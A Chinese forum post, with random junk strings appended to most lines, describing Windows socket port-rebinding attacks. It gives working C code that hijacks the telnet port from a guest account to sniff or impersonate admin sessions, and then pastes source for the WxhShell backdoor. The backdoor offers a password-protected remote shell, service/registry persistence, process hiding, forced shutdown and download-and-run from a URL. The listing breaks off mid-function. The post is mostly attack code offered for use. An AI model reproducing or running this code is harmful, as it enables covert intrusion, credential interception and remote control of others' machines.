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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ],s{%a5wC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $8WWN} OC  
J#xZ.6)  
  saddr.sin_family = AF_INET; b} FhC"'i  
%ty`Oa2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7KL@[  
WS//0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -car>hQq  
+t%1FkI\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EhAaaG  
{"c`k4R  
  这意味着什么?意味着可以进行如下的攻击: c8LMvL  
Vw]!Kb7tA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eY[kUMo  
d9up! k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QJ+Ml  
1pAcaJzf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \03ZE^H  
#Q'#/\5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `j8pgnY>5~  
Cy dV$!&mP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 + w/B3 b  
i>O8q%BnJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xo$SQ0K  
mDx=n.lIz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]=ADX}  
28qlp>U  
  #include {krBAz&  
  #include " v<O)1QT  
  #include {gh<SZsE  
  #include    +kN,OK~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Zc'^iDAY  
  int main() ,b4oV  
  { 2"HG6"Rr  
  WORD wVersionRequested; 5W0s9yD  
  DWORD ret; 0n}v"61q  
  WSADATA wsaData; -Fq`#"  
  BOOL val; U"=Lzo.0  
  SOCKADDR_IN saddr; 8u%,5GV>Xr  
  SOCKADDR_IN scaddr; nyetK  
  int err; 0 9qfnQG  
  SOCKET s; Y"L|D,ex  
  SOCKET sc; ,0c]/Sd*p  
  int caddsize; pu5%$}dBE  
  HANDLE mt; IhRdn1&  
  DWORD tid;   Dt! <  
  wVersionRequested = MAKEWORD( 2, 2 ); (eAz nTU  
  err = WSAStartup( wVersionRequested, &wsaData ); $[Q;{Q  
  if ( err != 0 ) { 67XUhnE  
  printf("error!WSAStartup failed!\n"); JIIc4fyy8s  
  return -1; C]Y%dQh+a  
  } %o 5'M^U  
  saddr.sin_family = AF_INET; iI>7I<_  
   XFYa+]B2q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 C^;>HAK|F  
H+Aidsn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3"juj '  
  saddr.sin_port = htons(23); NeJ->x,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'E&tEbY  
  {  AGm=0Om  
  printf("error!socket failed!\n"); *?\u5O(  
  return -1; N<ux4tz  
  } ,}O33BwJp  
  val = TRUE; #m17cDL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {Kf5a m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Xmi~fie  
  { qV;I<AM  
  printf("error!setsockopt failed!\n"); 9J?lNq  
  return -1; /EG'I{oC  
  } hw.>HT|.N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bYoBJ #UX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8 /%{xB^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :dpwr9)  
!FDd5CS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I,<?Kv  
  { li,rPUCt  
  ret=GetLastError(); $s4.Aj  
  printf("error!bind failed!\n"); k>\v]&|T`  
  return -1; qZ4)) X  
  } >JAWcT)d  
  listen(s,2); &_u.q/~   
  while(1) ALV(fv$cD  
  { ,i1BoG  
  caddsize = sizeof(scaddr); bL Sc=f&  
  //接受连接请求 ^/6P~iK'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I)yF!E &  
  if(sc!=INVALID_SOCKET) k~gOL#$  
  { XK\3"`kd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Oet+$ b  
  if(mt==NULL) ,<Z,-0S  
  { 1= 7ASS9  
  printf("Thread Creat Failed!\n"); UhrRB  
  break; m"'} {3$%  
  } CmV &+C$V%  
  } !\$V?*p7  
  CloseHandle(mt); jJ-C\ v  
  } (^(l=EN-<  
  closesocket(s); >:4`y"0  
  WSACleanup(); e#,(a  
  return 0; [sjkm+ ?  
  }   % P E x  
  DWORD WINAPI ClientThread(LPVOID lpParam) zj(V\y&H  
  { #]6{>n1*+w  
  SOCKET ss = (SOCKET)lpParam; hlDB'8  
  SOCKET sc; ma+AFCi  
  unsigned char buf[4096]; &x[7?Y L  
  SOCKADDR_IN saddr; 0#DEh|?  
  long num; :o .+<_ &  
  DWORD val; =JW-EQ6[T  
  DWORD ret; !><asaB]1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;-XfbqZ\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vzFp Xdt  
  saddr.sin_family = AF_INET; 5A*&!1T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o<%0|n_O&  
  saddr.sin_port = htons(23); ^!d0a bA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S1I.l">P  
  { #4b]j".P!n  
  printf("error!socket failed!\n"); TYb$+uY  
  return -1; `CH,QT7e  
  } n=bdV(?4  
  val = 100; 7KX27.~F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2,F9P+  
  { Dsp$Nr%*  
  ret = GetLastError(); fggs ;Le  
  return -1; jS~Pdz  
  } jeJgDAUv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QF\nf_X  
  { Y*PfU +y~  
  ret = GetLastError(); 9$Z0mzk  
  return -1; ?h&?`WO (  
  } BkGEx z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *; ]}`r  
  { %^HE^ &  
  printf("error!socket connect failed!\n"); <JH,B91  
  closesocket(sc); a!E22k?((z  
  closesocket(ss); QcW8A ,\q  
  return -1; gWGDm~+  
  } 8>,w8(Nt  
  while(1) Xs2 jR14`  
  { (X,i,qK/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SXZ9+<\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HyU:BW;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 twq~.:<o  
  num = recv(ss,buf,4096,0); a @2fJ}  
  if(num>0) robg1  
  send(sc,buf,num,0); ~}}<+JEEO  
  else if(num==0) Ly+UY.v"  
  break; 8ROKfPj;z  
  num = recv(sc,buf,4096,0); 0DmA3  
  if(num>0) c\1X NPGG  
  send(ss,buf,num,0); #mw !_]  
  else if(num==0) 5b7(^T^K  
  break; ?gl&q+mv  
  } ovTL'j!  
  closesocket(ss); 0_gN]>,9n  
  closesocket(sc); 2URGd#{VQ  
  return 0 ; hr fF1 >A  
  } 3- Kgz  
j)mU`b_  
5]N0p,f  
========================================================== k.ou$mIY  
Ig `q[o  
下边附上一个代码,,WXhSHELL q`'f /CS  
\Y)HSJR;e  
========================================================== FfJp::|ddr  
rMDvnF  
#include "stdafx.h" '" "v7  
#&}- q RA  
#include <stdio.h> tb+gCs'D  
#include <string.h> @-!P1]V|  
#include <windows.h> K$,Zg  
#include <winsock2.h>  j%Au0k  
#include <winsvc.h> G&g;ROgY  
#include <urlmon.h> a|7C6#iz$  
_YF>Y=D-  
#pragma comment (lib, "Ws2_32.lib") Jw;~$  
#pragma comment (lib, "urlmon.lib") :W*yfhLt  
Dt: Q$  
#define MAX_USER   100 // 最大客户端连接数 6VGY4j}:(  
#define BUF_SOCK   200 // sock buffer '@t$3 hk  
#define KEY_BUFF   255 // 输入 buffer Z@0tZ^V{  
@Z~YFnEJi  
#define REBOOT     0   // 重启 +; KUL6  
#define SHUTDOWN   1   // 关机 %} `` :  
eJ?oz^  
#define DEF_PORT   5000 // 监听端口 mAW.p=;  
Fc1!i8vv  
#define REG_LEN     16   // 注册表键长度 X9m^i2tk  
#define SVC_LEN     80   // NT服务名长度 og}Ri!^  
'Cc~|gOgD  
// 从dll定义API >3uNh:|>/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /mex{+p>tO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V+E8{|dYL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8Sr'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,UY1.tR(  
.Fo#Dmq3  
// wxhshell配置信息 "JB4 Uaa  
struct WSCFG { o P`l)`  
  int ws_port;         // 监听端口 GTP'js  
  char ws_passstr[REG_LEN]; // 口令 6'Q{xJe?  
  int ws_autoins;       // 安装标记, 1=yes 0=no <L-F3Buu  
  char ws_regname[REG_LEN]; // 注册表键名 x6UXd~ L e  
  char ws_svcname[REG_LEN]; // 服务名 SOOVUMj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u<edO+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WO qDW~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a2Ak?W1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -l= 4{^pK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w|9 >4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "2cOSPpQL  
FH,]'  
}; $tmdE )"&  
Y2r}W3F=  
// default Wxhshell configuration Q@W/~~N  
struct WSCFG wscfg={DEF_PORT, cRT'?w`}  
    "xuhuanlingzhe", -5<[oBL;  
    1, |R}=HsYey  
    "Wxhshell", >w S'z]T9  
    "Wxhshell", k>($[;k|b  
            "WxhShell Service", Ehx9-*]  
    "Wrsky Windows CmdShell Service", Tv=lr6t8  
    "Please Input Your Password: ", (7Z+De?  
  1, k1wIb']m]z  
  "http://www.wrsky.com/wxhshell.exe", Nz dN4+  
  "Wxhshell.exe" ukiWNF/  
    }; aK_5@8+ZD  
F)^0R%{C  
// 消息定义模块 u} ot-!}Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RA0;f'"`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ) D@j6r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +{:uPY#1  
char *msg_ws_ext="\n\rExit."; ZNQ x;51  
char *msg_ws_end="\n\rQuit."; 5CY%h  
char *msg_ws_boot="\n\rReboot..."; [neuwdN  
char *msg_ws_poff="\n\rShutdown..."; E5ce=$o  
char *msg_ws_down="\n\rSave to "; "-Q+!byh  
m!<HZvq?vf  
char *msg_ws_err="\n\rErr!"; N'`X:7fN  
char *msg_ws_ok="\n\rOK!"; 'ITq\1z  
Q~,Mzt"}W  
char ExeFile[MAX_PATH]; P<PZ4hNx  
int nUser = 0; sA2-3V<t8  
HANDLE handles[MAX_USER]; *] i hc u  
int OsIsNt; jWrU'X  
X)b$CG  
SERVICE_STATUS       serviceStatus; P[3i!"O>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =~1EpZ  
r:H]`Uo'r  
// 函数声明 &QHJ%c  
int Install(void); j, 0`k  
int Uninstall(void); )~U1sW&t  
int DownloadFile(char *sURL, SOCKET wsh); X1@DI_  
int Boot(int flag); Uy?jVPL  
void HideProc(void); j?K$w`  
int GetOsVer(void); yK*vn]}  
int Wxhshell(SOCKET wsl); _ Sr}3  
void TalkWithClient(void *cs); Ge q]wv8  
int CmdShell(SOCKET sock); l2 .S^S  
int StartFromService(void); :K| H/kht  
int StartWxhshell(LPSTR lpCmdLine); 'PF>#X''  
5u!\c(TJ+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c*IrZm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pq /5Dy  
p'jc=bL E  
// 数据结构和表定义 u$T]A8e  
SERVICE_TABLE_ENTRY DispatchTable[] = U=n7RPw  
{ TLwxP"  
{wscfg.ws_svcname, NTServiceMain}, RjW wsC~B  
{NULL, NULL} Q %o@s3~O  
}; tsb[=W!Ar8  
2*Qv6 :qK  
// 自我安装 #mQ@4k9i  
int Install(void) $+4DpqJ  
{ -UhpPw 6  
  char svExeFile[MAX_PATH]; QH'*MY  
  HKEY key; :&BPKqKp  
  strcpy(svExeFile,ExeFile); &L8RLSfX  
'`jGr+K,wU  
// 如果是win9x系统,修改注册表设为自启动 :v^/k]S  
if(!OsIsNt) { D3o,2E(o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { > 80{n8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /!5Wd(:  
  RegCloseKey(key); ] ?DU8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m{q'RAw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5u$.!l8Nl  
  RegCloseKey(key); g>/Y}{sL-  
  return 0; 5Tl5T&  
    } b| L;*<KU  
  } s#X/ F  
} EFX2>&mWo8  
else { [q9B" @X  
P $`1}  
// 如果是NT以上系统,安装为系统服务 J^7m?mA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Dz}i-tw+  
if (schSCManager!=0) 8C3k: D[  
{ tMl y*E  
  SC_HANDLE schService = CreateService Bu:%trlgV  
  ( zhn ?;Fi  
  schSCManager, /oPW0of  
  wscfg.ws_svcname, tq L(H25z  
  wscfg.ws_svcdisp, "to!&@I| 4  
  SERVICE_ALL_ACCESS, {nmG/dn {  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , # -'A =j  
  SERVICE_AUTO_START, MLDzWZ~}ef  
  SERVICE_ERROR_NORMAL, =KPmZ,/w  
  svExeFile, >_}isCd,  
  NULL, @|Pm%K`1  
  NULL, _(m72o0g>>  
  NULL, Pe%[d[ k  
  NULL, |1@O>GG  
  NULL j,YrM?Xdo  
  ); tT]@yo|?e/  
  if (schService!=0) 6"-$WUlg  
  { nb_/1{F  
  CloseServiceHandle(schService); $f:uBhM  
  CloseServiceHandle(schSCManager); o5Oig  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -E7mt`:d  
  strcat(svExeFile,wscfg.ws_svcname); _pdKcE\X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I\)`,w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J9T2 p\5  
  RegCloseKey(key); 7@c!4hmrU  
  return 0; Myc-lCE  
    } P+CV4;Xz  
  } rNN>tpZ}  
  CloseServiceHandle(schSCManager); 8Ths"zwn  
} 5:@bNNX'j  
} ?mH=3 :~  
Y:\msq1xp  
return 1; zhJeTctRz  
} PD&e6;rj;  
H oQb.Z  
// 自我卸载 YIe1AF}   
int Uninstall(void) ZF7@b/-me  
{ k3Yu"GY^  
  HKEY key; 'w:ugb9]  
)\+Imn  
if(!OsIsNt) { fJ}e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ucl001EK  
  RegDeleteValue(key,wscfg.ws_regname); x;vfmgty  
  RegCloseKey(key); $0Y`> 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z %pc"  
  RegDeleteValue(key,wscfg.ws_regname); vobC/m  
  RegCloseKey(key); NO5k1/-  
  return 0; W2{w<<\$3}  
  } `EKf1U\FI  
} +`>7cy%cZ  
} m>uG{4<-  
else { MHwfJ{"zo  
W|< c[S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KM&P5}  
if (schSCManager!=0) 8^_:9&)i  
{ 7C|AiSH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l!p`g>$&f  
  if (schService!=0) 7-S?RU]g  
  { dDS{XR  
  if(DeleteService(schService)!=0) { nlv,j&  
  CloseServiceHandle(schService); S}C[  
  CloseServiceHandle(schSCManager); 6mcb'hy  
  return 0; QSaDa@OV  
  } JC'3x9_<z  
  CloseServiceHandle(schService); y [McdlH m  
  } p[4 +`8  
  CloseServiceHandle(schSCManager); 2$JZ(qnN  
} 19fa7E<  
} EZ!! V~  
-VohU-6 |  
return 1; GgxPpS<ne  
} O>)eir7  
5AT^puL]]  
// 从指定url下载文件 s9C^Cy^su  
int DownloadFile(char *sURL, SOCKET wsh) 0H_Ai=G  
{ qT?{}I  
  HRESULT hr; W*LC3B^  
char seps[]= "/"; t|@5 ,J  
char *token; {t;o^pUF  
char *file; `n>/MY  
char myURL[MAX_PATH]; 21!X[) r  
char myFILE[MAX_PATH]; ..yV=idI  
f`4=Bl&"{  
strcpy(myURL,sURL); jI,[(Z>  
  token=strtok(myURL,seps); %; &lVIU0  
  while(token!=NULL) &S="]*Z  
  { _qB ._  
    file=token; Zv yZ5UA  
  token=strtok(NULL,seps); B~:yM1f@u4  
  } S$b)X"h  
8*-)[+s9il  
GetCurrentDirectory(MAX_PATH,myFILE); ,Ee5}#dI  
strcat(myFILE, "\\"); DT-.Gdb8  
strcat(myFILE, file); V_3oAu54s{  
  send(wsh,myFILE,strlen(myFILE),0); [Fh YQI  
send(wsh,"...",3,0); +c8`N'~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |k~AGc  
  if(hr==S_OK) [>NMuwtG  
return 0; @>2]zMFf  
else :s_o'8z7L  
return 1; q%,86A>  
9swHa  
} NFVu~t  
feX o"J  
// 系统电源模块 -O &>HA  
int Boot(int flag) ]fb@>1 jp  
{ iZTU]+z!  
  HANDLE hToken; FKL4`GEm  
  TOKEN_PRIVILEGES tkp; /US%s  
&_3#W.w~Z  
  if(OsIsNt) { ; 8[VCU:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QYH#WrIVx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pnu?=.O  
    tkp.PrivilegeCount = 1; N:|``n>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \(LD<-a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fDYTupKXH  
if(flag==REBOOT) { ]D nAW'm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O#.YTTj  
  return 0; tHzgZo Bz  
} 0$Tb5+H5  
else { QP~["%}T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bEF2- FO  
  return 0; Qw_uwQZ)  
} >!5RY8+  
  } @Yt394gA%\  
  else { I{w(`[Nxw*  
if(flag==REBOOT) { bR3Crz(9G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oY~q^Y  
  return 0; ] 6(%tU  
} yoGG[l2k>s  
else { & *tL)qKDc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =9TwBr.CJ  
  return 0; DD/B\  
} &wDZ@{h  
} NtGJpT4YX  
#i~P])%gNP  
return 1; HB#!Dv&'  
} 7Td 9mkO  
S\ak(<X  
// win9x进程隐藏模块 ok6t| 7sq  
void HideProc(void) Gt{%O>P8t  
{ {_tq6ja-<  
0J?443A Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @V>]95RX  
  if ( hKernel != NULL ) |./:A5_h  
  { 7x.j:{2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yVVyWte,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0(o2<d7  
    FreeLibrary(hKernel); J#:`'eEG  
  } C_3,|Zq?|  
3` IR ^  
return; !hJ!ck]M  
} 7/M[T\c  
/w?zO,!  
// 获取操作系统版本 KHP/Y {mH  
int GetOsVer(void) !L +b{  
{ w3i74C&0  
  OSVERSIONINFO winfo; h>>~Bi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fhn$~8[_A  
  GetVersionEx(&winfo);  !'!\>x$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1OvoW Nx  
  return 1; \Dl MOG  
  else #-b}QhxH  
  return 0; [.Fm-$M-  
} 5(2 C  
Tcv/EST  
// 客户端句柄模块 {li Q&AZ  
int Wxhshell(SOCKET wsl) AaU!a  
{ |L89yjhWBs  
  SOCKET wsh; pFs/ipZX^*  
  struct sockaddr_in client; 3w>1R>7  
  DWORD myID; C/ VHzV%q  
gcI<bY  
  while(nUser<MAX_USER) {oAD;m`  
{ % dtn*NU  
  int nSize=sizeof(client); z(,j)".  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QeT~s5 H  
  if(wsh==INVALID_SOCKET) return 1; %<+Ku11  
oR%cG"y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HoX={^aG%  
if(handles[nUser]==0) S -,$ (  
  closesocket(wsh); f/z]kfgw  
else >mtwXmI  
  nUser++; Zqf ovG  
  } hKh ad8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ajG_t  
!yi*Zt~  
  return 0; 8LF=l1=~  
} ' Hj([N  
D'%M#S0   
// 关闭 socket CXuMNa  
void CloseIt(SOCKET wsh) {|0YcL  
{ Ik, N/[  
closesocket(wsh); 89KFZ[.}]  
nUser--; ffI=Bt]t  
ExitThread(0); 'xG{q+jj'  
} 7k%!D"6_R  
*6][[)(  
// 客户端请求句柄 O9<oq  
void TalkWithClient(void *cs) ;P}007;  
{ ,*9gy$  
,jW a&7  
  SOCKET wsh=(SOCKET)cs; [5!{>L`  
  char pwd[SVC_LEN];  jrS$!cEo  
  char cmd[KEY_BUFF]; YIIc@ )  
char chr[1]; *Jt+-ZM  
int i,j; x1Z'_Qw  
jUZ$vyT  
  while (nUser < MAX_USER) { ![4_K':=  
x <aR|r  
if(wscfg.ws_passstr) { j%ZBAk)}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eNH9`Aa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #}Xsi&:XU  
  //ZeroMemory(pwd,KEY_BUFF); Y~*aA&D  
      i=0; U|QP] 6v  
  while(i<SVC_LEN) { q-@&n6PEOZ  
p Djt\R<f  
  // 设置超时 y\CxdTs  
  fd_set FdRead; -s)h ?D  
  struct timeval TimeOut; wSM(!:on5  
  FD_ZERO(&FdRead); -2u)orWP  
  FD_SET(wsh,&FdRead); h3GUFiZ.  
  TimeOut.tv_sec=8; zmu+un"\j  
  TimeOut.tv_usec=0; u|\?6fz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \J#&]o)Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  JJs*2y  
egr"og{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?|_i"*]l  
  pwd=chr[0]; oLq N  
  if(chr[0]==0xd || chr[0]==0xa) { '6g-]rE[  
  pwd=0; )_>'D4l ?  
  break; w/PE)xA  
  } II=!E  
  i++; X f;R'a,$  
    } k}qCkm27  
sk:B; .z  
  // 如果是非法用户,关闭 socket v>mK~0.$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u"wWekB  
} py%~Qz%  
'R- g:X\{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f `}/^*D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U KTfLh  
%2B1E( r%M  
while(1) { /2*Bd E[yG  
|TQ4:P1T  
  ZeroMemory(cmd,KEY_BUFF); =\MAz[IDj  
mQSn*;9\T3  
      // 自动支持客户端 telnet标准   ^wwS`vPb  
  j=0; @Jqo'\~&  
  while(j<KEY_BUFF) { M0?%r`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ly_8p63-  
  cmd[j]=chr[0]; A>mk0P)~Q  
  if(chr[0]==0xa || chr[0]==0xd) { Akws I@@  
  cmd[j]=0; QctzIC#;k  
  break; 8\C][ y  
  } _ShWCU-~Z  
  j++; 8^_e>q*W  
    } p&4n"hC  
VfDa>zV3  
  // 下载文件 zMO#CZ t  
  if(strstr(cmd,"http://")) { ;|$oz{Ll  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qUn+1.[%  
  if(DownloadFile(cmd,wsh)) .LnknjC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5'V-Ly)*%  
  else \Mdi eO*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eht8~"fj  
  } ][#|5UK8L  
  else { .RAyi>\e  
C(z 'oi:f  
    switch(cmd[0]) { ?<\2}1  
  g>gf-2%Uo  
  // 帮助 L.JL4;U P  
  case '?': { \D]9:BNJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vSv1FZu*  
    break; bR:hu}YS  
  } q"S,<I<f  
  // 安装 lF40n4}  
  case 'i': { 9`"#OQPn1  
    if(Install()) F ~7TE91C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5DkEJk7a  
    else ~v:IgS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ufw[Ei$I:  
    break; s5Wb iOF  
    } zKaj<Og  
  // 卸载 |b^UPrz)VS  
  case 'r': { $A/?evJi8R  
    if(Uninstall()) d%nX;w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1A#/70Mo  
    else OQKc_z'"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {^:NII]  
    break; EQw7(r|v:  
    } Di}M\!-[  
  // 显示 wxhshell 所在路径 F?cwIE\J  
  case 'p': { =*zde0T?l  
    char svExeFile[MAX_PATH]; Q7d@+C  
    strcpy(svExeFile,"\n\r"); <%rm?;PBl  
      strcat(svExeFile,ExeFile); G$QN_h,}  
        send(wsh,svExeFile,strlen(svExeFile),0); D:z_FNN  
    break; R?tjobk!  
    } + 660/ e8N  
  // 重启 (ov&iNx  
  case 'b': { "!eq~/nk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `CBXz!v!O  
    if(Boot(REBOOT)) o61rTj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@y`iZ] 1S  
    else { Q00v(6V46  
    closesocket(wsh); :(" @U,  
    ExitThread(0); sX*L[3!vN  
    } EwuRIe;D  
    break; \d]Y#j<  
    } 2m*/$GZ  
  // 关机 BSJS4+,E  
  case 'd': { ^SsnCn-e  
